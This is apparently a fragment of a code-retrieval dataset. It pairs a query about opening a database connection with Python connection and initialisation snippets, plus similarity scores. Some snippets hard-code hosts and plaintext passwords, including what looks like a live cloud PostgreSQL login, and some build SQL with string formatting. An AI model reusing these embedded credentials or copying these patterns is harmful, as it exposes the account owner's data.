set()\\n\\n # Ensure that multiple threads (like the event log watcher) interact safely with each other\\n self._db_lock = threading.Lock()\\n\\n if not os.path.exists(self.path_for_shard(INDEX_SHARD_NAME)):\\n conn_string = self.conn_string_for_shard(INDEX_SHARD_NAME)\\n engine = create_engine(conn_string, poolclass=NullPool)\\n self._initdb(engine)\\n self.reindex_events()\\n self.reindex_assets()\\n\\n super().__init__()\",\n \"def initdrive():\\n\\n if user_init.check_pre_init():\\n if user_drive.init_drive_files():\\n user_scan.init_folder_structure()\\n\\n else:\\n user_utility.print_error(\\\"Sink folder not Found! Initialise folder first or reset your configuration!\\\")\",\n \"def _initialize_chain_clean(self, test_dir, num_nodes):\\n for i in range(num_nodes):\\n initialize_datadir(test_dir, i)\",\n \"def __init__(self):\\n\\n self.current_path = os.getcwd()\\n self.data_path = self.current_path + \\\"/data\\\"\\n\\n self.original_files = {}\\n self.imitation_files = {}\\n self.original_test_files = {}\\n self.imitation_test_files = {}\\n\\n self.training_set = None\\n self.original_test_set = None\\n self.imitation_test_set = None\\n\\n self.accuracy = 0.\\n self.threshold = 0.\\n\\n self.get_files()\",\n \"def _init_dataset():\\n global _residues\\n if _residues is not None:\\n # Database is already initialized\\n return\\n\\n # Residuue data is taken from\\n # ftp://ftp.wwpdb.org/pub/pdb/data/monomers/components.cif\\n # (2019/01/27)\\n _info_dir = dirname(realpath(__file__))\\n with open(join(_info_dir, \\\"residues.msgpack\\\"), \\\"rb\\\") as file:\\n _residues = msgpack.unpack(\\n file, use_list=False, raw=False\\n )\",\n \"def _init(self):\\n # TODO: recalc self.path from <self._file_path>, to fix correct file system case\\n # On windows this would lead to correct URLs\\n self.provider._count_get_resource_inst_init += 1\\n tableName, primKey = self.provider._split_path(self.path)\\n\\n display_type = \\\"Unknown\\\"\\n displayTypeComment = \\\"\\\"\\n contentType = \\\"text/html\\\"\\n\\n # _logger.debug(\\\"getInfoDict(%s), nc=%s\\\" % (path, self.connectCount))\\n if tableName is None:\\n display_type = \\\"Database\\\"\\n elif primKey is None: # \\\"database\\\" and table name\\n display_type = \\\"Database Table\\\"\\n else:\\n contentType = \\\"text/csv\\\"\\n if primKey == \\\"_ENTIRE_CONTENTS\\\":\\n display_type = \\\"Database Table Contents\\\"\\n displayTypeComment = \\\"CSV Representation of Table Contents\\\"\\n else:\\n display_type = \\\"Database Record\\\"\\n displayTypeComment = \\\"Attributes available as properties\\\"\\n\\n # Avoid calling is_collection, since it would call isExisting -> _init_connection\\n is_collection = primKey is None\\n\\n self._cache = {\\n \\\"content_length\\\": None,\\n \\\"contentType\\\": contentType,\\n \\\"created\\\": time.time(),\\n \\\"display_name\\\": self.name,\\n \\\"etag\\\": hashlib.md5().update(self.path).hexdigest(),\\n # \\\"etag\\\": md5.new(self.path).hexdigest(),\\n \\\"modified\\\": None,\\n \\\"support_ranges\\\": False,\\n \\\"display_info\\\": {\\\"type\\\": display_type, \\\"typeComment\\\": displayTypeComment},\\n }\\n\\n # Some resource-only infos:\\n if not is_collection:\\n self._cache[\\\"modified\\\"] = time.time()\\n _logger.debug(\\\"---> _init, nc=%s\\\" % self.provider._count_initConnection)\",\n \"def _initialize(self):\\n for s in Subsidiary.all():\\n self.__create_stock(s)\\n self.get_stock()\",\n \"def __init__(self):\\r\\n # self.collectionsRootFolder (String): root folder path\\r\\n self.collectionsRootFolder = \\\"./PicLib/\\\"\\r\\n\\r\\n # os.makedirs() allows to create the root folder if it doesn't exist\\r\\n os.makedirs(os.path.dirname(self.collectionsRootFolder), exist_ok = True)\\r\\n\\r\\n self.imgCollection = ImageCollection(\\\"mainImgCollection\\\", self)\\r\\n\\r\\n # If the collection's json file exists, it is loaded\\r\\n try:\\r\\n self.imgCollection.loadCollection()\\r\\n # If it doesn't exist, the collection remains empty\\r\\n except FileNotFoundError:\\r\\n pass\\r\\n \\r\\n # The same process for the tag collection\\r\\n self.tagCollection = TagCollection(\\\"mainTagCollection\\\", self)\\r\\n try:\\r\\n self.tagCollection.loadCollection()\\r\\n except FileNotFoundError:\\r\\n pass\",\n \"def InitDataset(self):\\n train_txt = 'ImageSets/Main/train.txt'\\n val_txt = 'ImageSets/Main/val.txt'\\n annotations = \\\"Annotations\\\"\\n jpegimages = \\\"JPEGImages\\\"\\n images_path = train_txt if (self.is_train) else val_txt \\n images_path = readTxt(os.path.join(self.path, images_path))\\n images_path.pop(-1)\\n # rawdata format: [path_2_image, path_2_xml]\\n rawData = list()\\n for each in images_path:\\n xml = os.path.join(self.path, annotations, each + '.xml')\\n jpeg = os.path.join(self.path, jpegimages, each + '.jpg')\\n rawData.append([jpeg, xml])\\n return rawData\",\n \"def load_data(self) -> None:\\n self.paths: List[str] = []\\n self.durations: List[float] = []\\n self.transcriptions: List[str] = []\\n\\n def raise_(err):\\n \\\"\\\"\\\"raises error if problem during os.walk\\\"\\\"\\\"\\n raise err\\n\\n for subset in self.subsets:\\n subset_path = os.path.join(self.root, self.base_dir, subset)\\n for root, dirs, files in os.walk(subset_path, onerror=raise_):\\n if not files:\\n continue\\n matches = fnmatch.filter(files, \\\"*.trans.txt\\\")\\n assert len(matches) == 1, \\\"> 1 transcription file found\\\"\\n self._parse_transcription_file(root, matches[0])\\n\\n self._sort_by_duration()\",\n \"async def init(self):\\n self.init_connection_params()\\n self._pool = await self._create_pool()\\n\\n return self\",\n \"def __init__(self):\\n\\n self.read_input_file()\\n self.read_simulation_files()\",\n \"def setUpTestData(cls):\\n call_command('loaddata', 'db.json', verbosity=0)\",\n \"def __init__(self):\\n\\n self.__path = \\\"DataBase.db\\\"\\n self.__admins = []\\n self.__update_admin_cache()\",\n \"def __init__(self, dbname, host, readport):\\n self.host = host\\n self.readport = readport\\n self.dbname = dbname\\n self.readsets = [] # pre-defined sets of readouts for negotiating bulk transfers\",\n \"def run(self):\\n\\t\\tself.data_source.connect()\\n\\t\\twhile self.running:\\n\\t\\t\\tself.data_source.read()\",\n \"def setUp(self):\\n self.test_data = self.read_data('test_data/clients.txt')\",\n \"def _initialize_directory(self):\\n self._generate_settings()\\n if os.path.exists(self.target_path):\\n sys.exit(\\\"WARNING: %s already exists, exiting\\\" % self.target_path)\\n self._print_initialize_message()\\n self._create_directories()\\n self._create_general_config_file()\\n self._create_default_pipeline_config_file()\\n self._create_filelist()\\n print\",\n \"def __init__(self, dbname, host, writeport):\\n self.dbname = dbname\\n self.host = host\\n self.writeport = writeport\\n self.readouts = {} # cache of readout information\\n self.filters = {} # data reduction filters per channel\\n self.readsets = [] # pre-defined sets of readouts for negotiating bulk transfers\",\n \"def __init__ (self, relPath) :\\n self.m_path = \\\"\\\"\\n \\n dataPath = os.getenv(\\\"SIT_DATA\\\")\\n if not dataPath: return\\n \\n for dir in dataPath.split(':'):\\n path = os.path.join(dir, relPath)\\n if os.path.exists(path):\\n self.m_path = path\\n break\",\n \"def source_data_files(self, data_dir, tmp_dir, dataset_split):\\n raise NotImplementedError()\",\n \"def load_data(self):\\n\\n self._load_train_data()\\n self._load_test_data()\",\n \"def __init__(self):\\n self.databases = []\",\n \"def initialize(self):\\n self.population.initialize()\\n self.cache.initialize()\\n if self.storage:\\n self.storage.initialize()\",\n \"def setUp(self):\\n print(\\\"setUp()\\\", os.path.exists('./testdatas'))\\n if not os.path.exists('./testdatas'):\\n print('Creating server test data directory')\\n os.mkdir('./testdatas')\\n if not os.path.exists('./testdatac'):\\n print('Creating client test data directory')\\n os.mkdir('./testdatac')\\n if os.path.exists('testdata.tar'):\\n print('Extracting test data')\\n tar = tarfile.open('testdata.tar')\\n tar.extractall()\\n tar.close()\\n else:\\n print('No testdata.tar file found!', file=sys.stderr)\",\n \"def __init__(self):\\n # Read configuration into dictionary\\n self.directories = general.config_directories()\\n self.config = general.read_yaml_files(self.directories)\",\n \"def load_dataset(self):\\n # Get all the files in the directory\\n file_list = self.get_file_list()\\n\\n # Concatenate the data corresponding to a list of files\\n data = self.concatenate_file_data(file_list)\\n\\n # Shuffle the data and create the training and the validation datasets\\n data = self.shuffle_data_dictionary(data)\\n self.training_dataset, self.validation_dataset = self.split_data_into_training_and_validation(data)\",\n \"def init_downloader(self) -> None:\\n raise NotImplementedError\",\n \"def __init__(self):\\n\\t\\tappionScript.AppionScript.__init__(self)\\n\\t\\tself.rundata = {}\\n\\t\\t### extra appionLoop functions:\\n\\t\\tself._addDefaultParams()\\n\\t\\tself.setFunctionResultKeys()\\n\\t\\tself._setRunAndParameters()\\n\\t\\t#self.specialCreateOutputDirs()\\n\\t\\tself._initializeDoneDict()\\n\\t\\tself.result_dirs={}\",\n \"def initialize():\\n\\n # create plugin locations\\n for p in (cache_path, config_path, data_path):\\n p.mkdir(parents=False, exist_ok=True)\",\n \"def setup_class(cls):\\n self = cls()\\n self.remove_files_created_during_previous_runs()\\n if not os.path.exists(self.plaintext_directory):\\n os.makedirs(self.plaintext_directory)\\n\\n if not os.path.exists(self.training_path):\\n os.makedirs(self.training_path)\\n\\n if not os.path.exists(self.heldout_path):\\n os.makedirs(self.heldout_path)\\n\\n prepare_data(self.paths)\",\n \"def initialise(self):\\n \\n # Create the RDM control directory if it doesn't already exist.\\n rdm_control_directory = self.repo.working_dir + \\\"/.rdm\\\"\\n if not os.path.exists(rdm_control_directory):\\n os.makedirs(rdm_control_directory)\\n \\n # Set up the SQLite database.\\n self.db_connect()\\n \\n # If this file already exists, then skip this step.\\n if self.db_exists():\\n response = raw_input(\\\"The publications database already exists. Do you want to overwrite it? (y/n)\\\\n\\\")\\n if response == \\\"y\\\" or response == \\\"Y\\\":\\n _LOG.info(\\\"Overwriting...\\\")\\n with self.connection:\\n c = self.connection.cursor()\\n query = \\\"DROP TABLE %s\\\" % PUBLICATIONS_TABLE\\n c.execute(query)\\n elif response == \\\"n\\\" or response == \\\"N\\\":\\n _LOG.info(\\\"Not overwriting.\\\")\\n return\\n else:\\n _LOG.error(\\\"Unknown response '%s'. Not overwriting.\\\" % response)\\n return\\n\\n # Set up publication table columns.\\n with self.connection:\\n c = self.connection.cursor()\\n query = \\\"CREATE TABLE %s (id INTEGER PRIMARY KEY AUTOINCREMENT, path TEXT, date TEXT, time TEXT, sha TEXT, pid TEXT, doi TEXT)\\\" % PUBLICATIONS_TABLE\\n c.execute(query)\\n\\n # Disconnect.\\n self.db_disconnect()\\n\\n return\",\n \"def __init__(self):\\n self.database = Database()\\n self.load_config()\",\n \"async def init(self) -> None:\",\n \"async def init(self) -> None:\",\n \"def setUp(self):\\n # Drop directory if it exists\\n if os.path.isdir(SERVER_DIR):\\n shutil.rmtree(SERVER_DIR)\\n os.makedirs(SERVER_DIR)\\n self.processor = MimirProcessor()\\n self.datastore = MimirDatastore(DATASTORE_DIR)\\n self.filestore = FileSystemFilestore(FILESTORE_DIR)\\n self.available_lenses = set(mimir.getAvailableLensTypes())\",\n \"def __init__(self, subquery, queryNum, dataPath, transformImage=None):\\r\\n self.dataPath = dataPath\\r\\n print(self.dataPath)\\r\\n self.transformImage = transformImage\\r\\n self.videos = sorted(os.listdir(self.dataPath))\\r\\n self.queryDir = 'cast'\\r\\n self.candDir = 'candidates'\\r\\n self.len = len(self.videos)\\r\\n self.subquery = subquery\\r\\n self.queryNum = queryNum\",\n \"def prepare(self):\\n if self.opts['verbose']:\\n print(\\\"Preparing dataset (one-time operation)...\\\")\\n # Create paths files and load them back in\\n self._build_ID_sets()\\n self._create_ID_files()\\n self._load_ID_files()\\n if self.opts['verbose']:\\n print(\\\"... done with preparing the dataset.\\\")\",\n \"def do_init(self):\\n\\n pass\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.65322316","0.637263","0.6249433","0.62027884","0.6196576","0.6175284","0.6166833","0.61262244","0.6097434","0.6095836","0.6089378","0.6080158","0.60653484","0.6035975","0.60190237","0.60178757","0.59992707","0.597802","0.5973767","0.59712183","0.5955256","0.59484154","0.5947649","0.59440887","0.5921694","0.5897085","0.58626986","0.5838143","0.58199954","0.5814914","0.5812881","0.5801293","0.5783604","0.57681954","0.5764635","0.57597834","0.57597834","0.5747103","0.57430685","0.5739339","0.57354367","0.57245684","0.57242095","0.5719843","0.57001406","0.56986374","0.5693106","0.5690322","0.56791735","0.56765616","0.56734014","0.5664743","0.5662055","0.5659338","0.5655416","0.5638891","0.56342584","0.5624124","0.5621438","0.5621068","0.5615059","0.56108624","0.5593429","0.5593259","0.5589493","0.55812293","0.5580916","0.5574695","0.5574481","0.55737543","0.5560773","0.5557035","0.5557025","0.55535173","0.5543514","0.5543205","0.55415726","0.55408543","0.5540119","0.5538534","0.553493","0.5534581","0.55339897","0.5529839","0.5518114","0.5513678","0.55133283","0.55112404","0.55105454","0.55061233","0.5504698","0.5503077","0.5500201","0.54964936","0.5483533","0.5483533","0.5483172","0.5478181","0.5477962","0.54768914"],"string":"[\n \"0.65322316\",\n \"0.637263\",\n \"0.6249433\",\n \"0.62027884\",\n \"0.6196576\",\n \"0.6175284\",\n \"0.6166833\",\n \"0.61262244\",\n \"0.6097434\",\n \"0.6095836\",\n \"0.6089378\",\n \"0.6080158\",\n \"0.60653484\",\n \"0.6035975\",\n \"0.60190237\",\n \"0.60178757\",\n \"0.59992707\",\n \"0.597802\",\n \"0.5973767\",\n \"0.59712183\",\n \"0.5955256\",\n \"0.59484154\",\n \"0.5947649\",\n \"0.59440887\",\n \"0.5921694\",\n \"0.5897085\",\n \"0.58626986\",\n \"0.5838143\",\n \"0.58199954\",\n \"0.5814914\",\n \"0.5812881\",\n \"0.5801293\",\n \"0.5783604\",\n \"0.57681954\",\n \"0.5764635\",\n \"0.57597834\",\n \"0.57597834\",\n \"0.5747103\",\n \"0.57430685\",\n \"0.5739339\",\n \"0.57354367\",\n \"0.57245684\",\n \"0.57242095\",\n \"0.5719843\",\n \"0.57001406\",\n \"0.56986374\",\n \"0.5693106\",\n \"0.5690322\",\n \"0.56791735\",\n \"0.56765616\",\n \"0.56734014\",\n \"0.5664743\",\n \"0.5662055\",\n \"0.5659338\",\n \"0.5655416\",\n \"0.5638891\",\n \"0.56342584\",\n \"0.5624124\",\n \"0.5621438\",\n \"0.5621068\",\n \"0.5615059\",\n \"0.56108624\",\n \"0.5593429\",\n \"0.5593259\",\n \"0.5589493\",\n \"0.55812293\",\n \"0.5580916\",\n \"0.5574695\",\n \"0.5574481\",\n \"0.55737543\",\n \"0.5560773\",\n \"0.5557035\",\n \"0.5557025\",\n \"0.55535173\",\n \"0.5543514\",\n \"0.5543205\",\n \"0.55415726\",\n \"0.55408543\",\n \"0.5540119\",\n \"0.5538534\",\n \"0.553493\",\n \"0.5534581\",\n \"0.55339897\",\n \"0.5529839\",\n \"0.5518114\",\n \"0.5513678\",\n \"0.55133283\",\n \"0.55112404\",\n \"0.55105454\",\n \"0.55061233\",\n \"0.5504698\",\n \"0.5503077\",\n \"0.5500201\",\n \"0.54964936\",\n \"0.5483533\",\n \"0.5483533\",\n \"0.5483172\",\n \"0.5478181\",\n \"0.5477962\",\n \"0.54768914\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.56437683"},"document_rank":{"kind":"string","value":"55"}}},{"rowIdx":82185,"cells":{"query":{"kind":"string","value":"(obj) > (obj) Method that will return connection to the database using given credentials."},"document":{"kind":"string","value":"def get_connection(self):\n\n\t\treturn dbapi.connect(credentials.SERVER,\\\n\t\t\t\t\t\t\t credentials.PORT,\\\n\t\t\t\t\t\t\t credentials.USER,\\\n\t\t\t\t\t\t\t credentials.PASSWORD)"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def connect(db, username=None, password=None, **kwargs):\n global _connection_settings, _db_name, _db_username, _db_password, _db\n _connection_settings = dict(_connection_defaults, **kwargs)\n _db_name = db\n _db_username = username\n _db_password = password\n return _get_db(reconnect=True)","def connect_to_db(self):\n\t\t# connection = psycopg2.connect(database=config.database, user=config.user,password = config.password)\n\t\tconnection = psycopg2.connect(database=config.database, user=config.user)\n\t\treturn connection","def __connect(self):\n session, metadata, connection = db(dbhost=getattr(self, \"host\"),\n dbuser=getattr(self, \"user\"),\n dbpass=getattr(self, \"password\"),\n dbname=getattr(self, \"dbname\"))\n return session, metadata, connection","def get_connection():\n con = psycopg2.connect(**DB_CONFIG)\n return con","def get_connection(pgpass_path='~/.pgpass', db=DB):\n host, port, user, password, db = get_credentials(path=pgpass_path, db=db)\n db_url = f'postgresql://{user}:{password}@{host}:{port}/{db}'\n conn = sqlalchemy.create_engine(db_url).connect()\n return conn","def connect_mongo_db():\n host = parsed_mongodb_url['host']\n port = parsed_mongodb_url['port']\n database = parsed_mongodb_url['database']\n username = parsed_mongodb_url['username']\n password = parsed_mongodb_url['password']\n\n connection = Connection(host, port)\n\n if username and password:\n connection[database].authenticate(username, password)\n\n return connection","def get_db_connection (dbname, username,\n password=None,\n host='/var/run/postgresql'):\n\n con = psycopg2.connect(\n database=dbname, user=username, password=password,\n host='/var/run/postgresql')\n return (con)","def connect(user, password=None):\n return _WebDBConnection(user, password)","def connect(self, credentials):\n try:\n #dsn = credentials.host() + ':' + credentials.port()\n if credentials.port() is not None:\n self.db = msq.connect(host=credentials.host(), port=credentials.port(),\n user=credentials.username(),\n passwd=credentials.password(),\n db=credentials.database(),\n charset='utf8',\n use_unicode=True,\n cursorclass=MySQLdb.cursors.DictCursor)\n else:\n self.db = msq.connect(host=credentials.host(),\n user=credentials.username(),\n passwd=credentials.password(),\n db=credentials.database(),\n charset='utf8',\n use_unicode=True,\n cursorclass=MySQLdb.cursors.DictCursor)\n\n self.db.autocommit(True)\n self.dbc = self.db.cursor()\n self.status = 'Connected to: %s' % credentials.database()\n except MySQLdb.Error as e:\n print \"Connection error : %s\" % e\n raise","def connection_database(db_name, host, user, password, local, ssl_ca):\r\n if local:\r\n conn = mysql.connector.connect(\r\n host=host,\r\n user=user,\r\n passwd=password,\r\n database=db_name\r\n )\r\n else:\r\n conn = mysql.connector.connect(\r\n host=host,\r\n user=user,\r\n passwd=password,\r\n database=db_name,\r\n ssl_ca=ssl_ca\r\n )\r\n\r\n cursor = conn.cursor()\r\n return conn, cursor","def connect_to_db(_config):\n try:\n if _config['server']['environment'] == 'production':\n # in production, must set up replica set\n _client = pymongo.MongoClient(host=_config['database']['host'], port=_config['database']['port'],\n replicaset=_config['database']['replicaset'],\n readPreference='primaryPreferred')\n else:\n # standalone from my laptop, when there's only one instance of DB\n _client = pymongo.MongoClient(host=_config['database']['host'], port=_config['database']['port'])\n # grab main database:\n _db = _client[_config['database']['db']]\n except Exception as _e:\n raise ConnectionRefusedError\n try:\n # authenticate\n _db.authenticate(_config['database']['user'], _config['database']['pwd'])\n except Exception as _e:\n raise ConnectionRefusedError\n\n return _client, _db","def getConnection(self):\n if (not self.initialized):\n logging.error(\"Module is not initialized\")\n \n conn_options = {\n 'user': self.user,\n 'password' : self.password,\n 'host' : self.host,\n 'port' : self.port,\n 'database' : self.dbname,\n 'raise_on_warnings': True\n }\n db = mysql.connector.connect(**conn_options)\n return db","def connect_to_database(database, credentials_file):\n # Change the scope of client variable to global and calls get_credentials_from_file method\n global client\n get_credentials_from_file(credentials_file)\n\n # It only try to connect if user and password is not empty or it is just an empty space\n if (username and password != \"\") and (len(username) and len(password) > 1):\n client = MongoClient(\n f'mongodb+srv://{username}:{password}@cluster0.xmirl.mongodb.net/{database}?retryWrites=true&w=majority',\n ssl=True, ssl_cert_reqs='CERT_NONE')\n else:\n print(\"User name and/or password is empty, please check the credentials.pwd file\")\n sys.exit(1)\n\n return client","def get_coonection(login, password):\n conn = pymssql.connect(\n host=\"130.193.44.114\",\n user=login,\n password=password,\n database='dwh'\n )\n \n return conn","def createConnection(self):\r\n conn_string = \"host='{}' dbname='{}' user='{}' password='{}' port={}\".format(\r\n self.host, self.database, self.user, self.password, self.port)\r\n return psycopg2.connect(conn_string)","def create_connection(self):\r\n dbname = \"dbname = \"+\"'\"+self.dbname+\"' \"\r\n user = \"user = \"+\"'\"+self.user+\"' \"\r\n host = \"host = \"+\"'\"+self.host+\"' \"\r\n password = \"password = \"+\"'\"+self.password+\"' \"\r\n connection_info = dbname + user + host + password\r\n try:\r\n conn = psycopg2.connect(connection_info)\r\n except psycopg2.Error:\r\n print(\"Unable to connect to DB\")\r\n return conn","def connect_db(self):\n uri, password = self.get_db_uri()\n client = MongoClient(uri)\n client.admin.authenticate('admin', password)\n return client, client.juju","def connectToDatabase():\n\n #Connect to Database With Environment Values\n conn = pymysql.connect(\n host=os.environ.get(\"CHRONICLER_DATABASE_HOST\"),\n user=os.environ.get(\"CHRONICLER_DATABASE_USER\"),\n passwd=os.environ.get(\"CHRONICLER_DATABASE_PASSWORD\"),\n db=os.environ.get(\"CHRONICLER_DATABASE_DB\"),\n\t\t\t\tcharset=\"utf8mb4\")\n\n #Return the Connection\n return conn","def get_db_conn(db_config):\n return psycopg2.connect(\n \"dbname='{}' user='{}' host='{}'\".format(\n db_config[\"name\"],\n db_config[\"user\"],\n db_config[\"host\"]\n )\n )","def get_connection(db, user=env.user, host=env.host, password=env.password):\n return f'mysql+pymysql://{user}:{password}@{host}/{db}'","def connect(database, user, password, host):\n return ODPS(user, password, project=database, endpoint=host)","def connect(self):\n\n self.logger.debug(\"creating DB connection\")\n conn = sql.connect(**self.connection_arguments)\n self.logger.debug(\"DB connection ready: %r\", conn.get_host_info())\n return conn","def openConnection():\n connection = nj.GraphDatabase.driver(\n uri=URI, auth=nj.basic_auth(USER, PASSWORD))\n return connection","def create_connection():\r\n try:\r\n conn = sq.connect(DBClass.db_name)\r\n except sq.Error as e:\r\n raise e\r\n \r\n return conn","def openConn():\n\t#abstract the user,passwd,db,host fields in a config file next\n\tconnection = sql.connect(user=\"root\",passwd=\"sct\",db=\"sct\")\n\tcursor = connection.cursor()\n\treturn connection,cursor","def __enter__(self) -> cx_Oracle.connect:\n self.db_connection = cx_Oracle.connect(\n self.config['oracle']['ora_user'],\n self.config['oracle']['ora_pass'],\n f\"{self.config['oracle']['ora_host']}/{self.config['oracle']['ora_sid']}\")\n return self.db_connection","def connect_database(self, *args, **kwargs):\n return self._get_storage().connect_database(*args, **kwargs)","def get_connection(db_url=None):\n return engine(db_url).connect()","def getconn(self):\n #hdbport = int('3%s15' % Settings.hdbinstancenum)\n con = dbapi.connect(address = self.host, \\\n port = self.port, \\\n user = self.username, \\\n password = self.password, \\\n autocommit = True)\n if self.schema:\n cur = con.cursor()\n try:\n cur.execute('ALTER SESSION SET CURRENT_SCHEMA = %s' % self.schema)\n return con\n except dbapi.Error, err:\n cur.close()\n con.close()\n cur = None\n raise err\n finally:\n if cur:\n cur.close()\n else:\n return con","def get_db_connection(uri):\n client = pymongo.MongoClient(uri)\n return client.cryptongo","def get_connection():\n conn = psycopg2.connect(\n host=\"ec2-174-129-229-162.compute-1.amazonaws.com\",\n database=\"d3fkgbedn66ll5\",\n user=\"vsimxlvondhgoo\",\n password=\"7402a95816c42b475ae285eb18918c56c9a012e96a85aafce983ea1618010511\",\n port=5432\n )\n return conn","def db_connection(conf_dict):\n log.debug(conf_dict)\n client = ArangoClient(hosts=conf_dict['hosts'])\n db = client.db(conf_dict['database'],\n username=conf_dict['username'],\n password=conf_dict['password'])\n\n return client, db","def OpenConnection(self):\r\n # Open connection to database. If the database is not accessible,\r\n # throw a mariadb exception.\r\n try: \r\n Connection = mariadb.connect(\r\n user = self.Name,\r\n host = self.Host,\r\n password= self.Password,\r\n port=3306)\r\n # Catch mariadb exception.\r\n except mariadb.Error as e:\r\n print('Unable open connection {}.'.format(e))\r\n\r\n return Connection","def getDbConnection(self, **kwargs):\r\n \r\n con = sql.connect(self._filename, **kwargs)\r\n con.row_factory = sql.Row\r\n return con","def connect(self):\n if self.connection is not None:\n logger.info(\" connection: %s \" % (self.connection is not None))\n if not self.connection.opened():\n logger.info(\"connection is closed\")\n return self.reconect()\n\n if self.connection.opened():\n return self.connection\n try:\n self.connection = connect(**self.options)\n except Exception as e:\n logger.critical(\"Unable to connect to DB: {0}\".format(e.message))\n raise\n\n return self.connection","def get_new_connection(self, conn_params):\r\n self.__connection_string = conn_params.get('connection_string', '')\r\n conn = Database.connect(**conn_params)\r\n return conn","def logic_db_connection():\n try:\n boto_session = boto3.Session(profile_name='loidsig')\n except:\n boto_session = boto3.Session()\n sm_client = boto_session.client(\n service_name='secretsmanager',\n region_name='us-east-1',\n endpoint_url='https://secretsmanager.us-east-1.amazonaws.com'\n )\n get_secret_value_response = sm_client.get_secret_value(SecretId='Loidsig_DB')\n cred_dict = ast.literal_eval(get_secret_value_response['SecretString'])\n db_user, db_pass = cred_dict['username'], cred_dict['password']\n db_host, db_port, db_name = cred_dict['host'], cred_dict['port'], cred_dict['dbname']\n\n try:\n conn = psycopg2.connect(\n host=db_host,\n port=db_port,\n user=db_user,\n password=db_pass,\n database=db_name,\n )\n except Exception as e:\n print(\"Unable to connect to postgres! Error: {}\".format(e))\n raise\n return conn","def get_connection(**kwargs):\n try:\n logging.debug(\"Connecting to mapd db...\")\n con = pymapd.connect(\n user=kwargs[\"db_user\"],\n password=kwargs[\"db_passwd\"],\n host=kwargs[\"db_server\"],\n port=kwargs[\"db_port\"],\n dbname=kwargs[\"db_name\"],\n )\n logging.info(\"Succesfully connected to mapd db\")\n return con\n except (pymapd.exceptions.OperationalError, pymapd.exceptions.Error):\n logging.exception(\"Error connecting to database.\")\n return False","def connect(self, database=None):\n try:\n if database: # if is not Null\n self._database = database\n connection = pymysql.connect(self._host, self._username, self._password, self._database)\n return connection\n except pymysql.InternalError as error:\n print(error.args[1])","def connect_to_db(self):\n _config = self.config\n try:\n if self.logger is not None:\n self.logger.debug('Connecting to the database at {:s}:{:d}'.\n format(_config['database']['host'], _config['database']['port']))\n _client = pymongo.MongoClient(host=_config['database']['host'], port=_config['database']['port'])\n # grab main database:\n _db = _client[_config['database']['db']]\n\n except Exception as _e:\n if self.logger is not None:\n self.logger.error(_e)\n self.logger.error('Failed to connect to the database at {:s}:{:d}'.\n format(_config['database']['host'], _config['database']['port']))\n # raise error\n raise ConnectionRefusedError\n try:\n # authenticate\n _db.authenticate(_config['database']['user'], _config['database']['pwd'])\n if self.logger is not None:\n self.logger.debug('Successfully authenticated with the database at {:s}:{:d}'.\n format(_config['database']['host'], _config['database']['port']))\n except Exception as _e:\n if self.logger is not None:\n self.logger.error(_e)\n self.logger.error('Authentication failed for the database at {:s}:{:d}'.\n format(_config['database']['host'], _config['database']['port']))\n raise ConnectionRefusedError\n\n if self.logger is not None:\n self.logger.debug('Successfully connected to the database at {:s}:{:d}'.\n format(_config['database']['host'], _config['database']['port']))\n\n # (re)define self.db\n self.db = dict()\n self.db['client'] = _client\n self.db['db'] = _db","def _access(option=True):\n return connect(\n dbname=os.environ[\"DB_NAME\"],\n user=os.environ[\"DB_USER\"],\n password=os.environ[\"DB_PASS\"],\n host=os.environ[\"DB_HOST\"],\n port=os.environ[\"DB_PORT\"]\n )","def _repo_connect():\n utils = Utility()\n config = utils.CONFIG\n conn = utils.get_plugin(config.PATH_CONNECTION_MANAGERS)\n conn.connect(config.URL_META_DB)\n return conn","def connect(self, host, port, db):\r\n params = self.make_connection_params(host, port, db)\r\n return self.get_connection(params)","def connection(self, database=None):\n\n try:\n return mysql.connector.connect(\n host=\"localhost\",\n user=\"root\",\n password=\"R+D@11\",\n database=database,\n auth_plugin=\"mysql_native_password\",\n )\n except mysql.connector.Error as err:\n messagebox.showerror(\n \"MySQL Connection Error\",\n \"Oops! Something went wrong!\\n\\n%s\" % err,\n )\n exit()","def get_connection():\n connection = mdb.connect(host='localhost',\n user='root',\n passwd='password',\n database='pur_beurre')\n return connection","def connection_to_db():\n try:\n credentials = parse_url_db(URL)\n connection = psycopg2.connect(**credentials)\n\n return connection\n except psycopg2.OperationalError:\n raise DatabaseConnectionError('No connection!')","def _connect(self):\n conn = pymongo.MongoClient(self._config.get('mongodb', 'host'), self._config.getint('mongodb', 'port'))\n db = conn[self._config.get('mongodb', 'db')]\n return db[self._config.get('mongodb', 'collection')]","def get_conn(self) -> Auth.contextmgr:\n if self.conn.login and self.conn.password:\n return self._auth_via_password()\n if \"token_name\" in self.conn.extra_dejson and \"personal_access_token\" in self.conn.extra_dejson:\n return self._auth_via_token()\n raise NotImplementedError(\"No Authentication method found for given Credentials!\")","def createConnection(user, password, server, port, db):\n Database.globalUser = user\n try:\n Database.connection = psycopg2.connect(user=user,\n password=password,\n host=server,\n port=port,\n database=db)\n return Database.connection\n except (Exception, psycopg2.Error) as error:\n print(\"Error conectando a PostgreSQL\", error)\n return None","def __get_connection():\n # 根据配置文件创建连接池\n if not Mysql.__mysql_pool:\n Mysql.__mysql_pool = PooledDB(\n creator=MySQLdb,\n use_unicode=False,\n cursorclass=DictCursor,\n db=sqlconf.MysqlConfig['db'],\n host=sqlconf.MysqlConfig['host'],\n port=sqlconf.MysqlConfig['port'],\n user=sqlconf.MysqlConfig['user'],\n passwd=sqlconf.MysqlConfig['passwd'],\n charset=sqlconf.MysqlConfig['charset'],\n mincached=sqlconf.MysqlConfig['mincached'],\n maxcached=sqlconf.MysqlConfig['maxcached'],\n maxconnections=sqlconf.MysqlConfig['maxconnections'])\n # 返回连接池中连接对象\n return Mysql.__mysql_pool.connection()","def connect(self):\r\n\r\n db_config = read_db_config()\r\n\r\n try:\r\n print('Connecting to MySQL database...')\r\n conn = MySQLConnection(**db_config)\r\n\r\n if conn.is_connected():\r\n print('connection established.')\r\n return conn\r\n else:\r\n print('connection failed.')\r\n\r\n except Error as e:\r\n print(e)","def getclient(hosts,replicaset,db_name,db_user,db_pwd):\n conn = 